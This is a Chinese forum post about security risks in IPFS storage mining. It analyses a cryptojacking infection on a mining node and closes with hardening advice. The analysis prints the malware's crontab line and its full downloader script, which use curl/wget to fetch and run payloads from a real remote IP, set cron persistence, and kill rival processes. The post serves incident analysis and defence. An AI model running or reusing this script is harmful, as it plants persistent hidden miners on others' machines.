挖矿网

标题: 道路千万条,安全第一条,IPFS挖矿不得不重视的安全问题 [打印本页]

作者: IPFS赛道俱乐部    时间: 2019-5-14 19:30
标题: 道路千万条,安全第一条,IPFS挖矿不得不重视的安全问题


网络安全在互联网公司是非常非常重要的东西,它虽然不能直接创造业务价值,但可以决定一个公司的生死。业务做得再好,遇到严重的安全问题,迅速完蛋。从阿里、腾讯对安全的重金投入就可以得知其重要性。区块链领域就更重要了。一个交易所如果被盗,基本就直接破产了。
但在存储挖矿领域,这个问题没有多少人重视。我相信在FIL正式开挖之前,也不会有太多的人重视。原因很简单,需要投入,但却不能直接带来利益。大家关注的还是我能挖到多少,对于各种技术细节也并不关心。
但存储挖矿本身属于一种有风险属性的投资行为。如果不重视网络安全,这种风险就会急剧放大。尤其是在FIL之前上线的许多存储链,都要求:每个节点都需要公网IP。此要求会让大量没有网络安全防护的机器直接暴露在公网上面,必定会导致更多的安全问题。直接提供公网IP本身不是一个问题。
但关键是安全防护工作要能匹配。对矿工来讲,追求的是快速回本,不会像互联网公司和传统企业那样投入大量的成本去搞安全这些事情。从硬件投入就可以看到。对企业业务来讲,几万元的服务器比比皆是,但对矿工来讲,几千块钱的机器都嫌贵。

昨晚又遇到了一个案例。去掉了一些敏感信息,简单分析一下。希望大家能够引起重视,不要出现投入资金投入精力却是给远方的黑客打工的情况。
通过运维平台,发现某个节点的CPU利用率异常。在获得相关授权之后,登录该系统。发现存在可疑进程vTtHH。以下是top的输出。(正常的挖矿进程名我隐藏了,用xxx代替。)
PIDUSERPRNIVIRTRESSHRS%CPU%MEMTIME+COMMAND
2083root200191992337601220S15010.2157845:23/tmp/vTtHH
22718miner20080723841.470g23104S10.69.43443:17xxx左右滑动查看全篇

俗话说,人不可貌相。但是一般的程序却可以直接通过名字来判断其到底做了什么事情。木马可以伪装成正常进程的名字,但vTtHH这个名字,一看就知道不是善类,估计是随机生成的。而且这个可执行文件放在/tmp目录下。除了安装程序调用的一些临时程序,一般的程序员不会在/tmp下面放重要的可执行文件。最关键的是,它基本把CPU吃光了。看看它的MD5值:
#md5sum/tmp/vTtHH
42483ee317716f87687ddb79fedcb67b/tmp/vTtHHGoogle搜索这个MD5,果然是木马程序。比如,有这篇文章
https://blog.netlab.360.com/systemdminer-propagation-through-ddg/进一步搜索,还可以看到很多相关的讨论
https://www.v2ex.com/t/560438讨论的内容都是最近发布的,看来这是一个新的木马。它是一个恶意挖矿程序,借用机器挖它的矿。你付出了机器成本、电费、网络费用,却是帮别人在打工。

看看它到底往哪里发数据
#netstat-anp|grepvTtHH
tcp0104***.***.***.***:51200104.130.210.206:8000ESTABLISHED16154/vTtHH左右滑动查看全篇
查询到的IP信息:
您查询的IP:104.130.210.206
本站数据:美国伊利诺斯芝加哥
参考数据1:美国伊利诺伊州芝加哥ManagedDedicated&CloudComputingServices左右滑动查看全篇
可以想到的是,直接kill这个进程没有什么用处,它又会死灰复燃的。看看定时任务
#crontab-l
*/15****(/usr/bin/izxbfa2||/usr/libexec/izxbfa2||/usr/local/bin/izxbfa2||/tmp/izxbfa2||curl-m180-fsSLhttp://104.128.230.16:8000/i.sh||wget-q-T180-O-http://104.128.230.16:8000/i.sh)|sh左右滑动查看全篇

通过它可以找到一堆的可疑文件。怎么清除这些文件可以看以前的文章?
在没有这些文件的时候,它会从http://104.128.230.16:8000/i.sh下载脚本。
打开看看这个脚本是什么玩意儿
exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
mkdir-p/var/spool/cron/crontabs
echo"">/var/spool/cron/root
echo"*/15****(/usr/bin/iugkfa2||/usr/libexec/iugkfa2||/usr/local/bin/iugkfa2||/tmp/iugkfa2||curl-fsSL-m180http://104.128.230.16:8000/i.sh||wget-q-T180-O-http://104.128.230.16:8000/i.sh)|sh">>/var/spool/cron/root
cp-f/var/spool/cron/root/var/spool/cron/crontabs/root
cd/tmp
touch/usr/local/bin/writeable&&cd/usr/local/bin/
touch/usr/libexec/writeable&&cd/usr/libexec/
touch/usr/bin/writeable&&cd/usr/bin/
rm-rf/usr/local/bin/writeable/usr/libexec/writeable/usr/bin/writeable
exportPATH=$PATH(pwd)
psauxf|grep-vgrep|grepiugkfa2||rm-rfiugkfa2
if[!-f"iugkfa2"];then
curl-fsSL-m1800http://104.128.230.16:8000/static/4002/ddgs.$(uname-m)-oiugkfa2||wget-q-T1800http://104.128.230.16:8000/static/4002/ddgs.$(uname-m)-Oiugkfa2
fi
chmod+xiugkfa2
/usr/bin/iugkfa2||/usr/libexec/iugkfa2||/usr/local/bin/iugkfa2||/tmp/iugkfa2
psauxf|grep-vgrep|grepiugkbcb|awk'{print$2}'|xargskill-9
psauxf|grep-vgrep|grepiugkbcc|awk'{print$2}'|xargskill-9
psauxf|grep-vgrep|grepiugkbcd|awk'{print$2}'|xargskill-9
psauxf|grep-vgrep|grepiugkbce|awk'{print$2}'|xargskill-9
psauxf|grep-vgrep|grepiugkfa0|awk'{print$2}'|xargskill-9
psauxf|grep-vgrep|grepiugkfa1|awk'{print$2}'|xargskill-9
echo"*/15****(/usr/bin/iugkfa2||/usr/libexec/iugkfa2||/usr/local/bin/iugkfa2||/tmp/iugkfa2||curl-m180-fsSLhttp://104.128.230.16:8000/i.sh||wget-q-T180-O-http://104.128.230.16:8000/i.sh)|sh"|crontab-左右滑动查看全篇
通过它来学习bash还是不错的。可惜了这个作者,不务正业。清除了crontab以及相关文件,系统恢复正常。

下一步就是帮忙分析到底是怎么被入侵的。主要有几种原因
弱密码。密码一定要强,大写、小写、数字、符号最好都用上。当然,你自己不能忘记。ssh登录最好禁止密码方式,采用密钥登录。
系统漏洞。好的软件能够防范已知的漏洞,未知的漏洞还得靠运维的不断加强。
挖矿软件的漏洞。我估计这块是重头戏。许多挖矿软件都对外暴露了很多端口,加大了被入侵的可能性。任何软件都是有Bug的,放在网络里的任何软件都是有漏洞的,只是已知和未知的区别。
内部人员或者第三方进入机房的人员导致。这种可能性一般较小,本文中的例子更不太像。但很多时候,这也是一个被入侵的手段。
有一劳永逸永保网络安全的方案吗?没有。应对方法就是一定要熟悉网络安全防护,通过特定的软件和加强的运维来保障系统的安全性。

(, 下载次数: 11)